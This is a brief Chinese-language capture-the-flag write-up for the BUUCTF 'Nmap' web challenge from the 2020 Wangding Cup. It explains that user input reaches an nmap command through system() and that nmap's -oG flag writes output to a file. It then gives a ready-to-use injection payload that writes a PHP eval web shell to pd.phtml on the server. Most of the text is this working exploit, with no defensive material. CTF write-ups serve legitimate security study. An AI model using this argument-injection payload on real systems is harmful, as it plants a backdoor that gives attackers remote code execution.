buuctf web write-up 2

[网鼎杯 2020 朱雀组]Nmap

知识点：nmap命令行参数注入

-oG #可以实现将命令和结果写到文件

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//源码的大概形式

传文件上去

' <?= @eval($_POST["pd"]);?> -oG pd.phtml '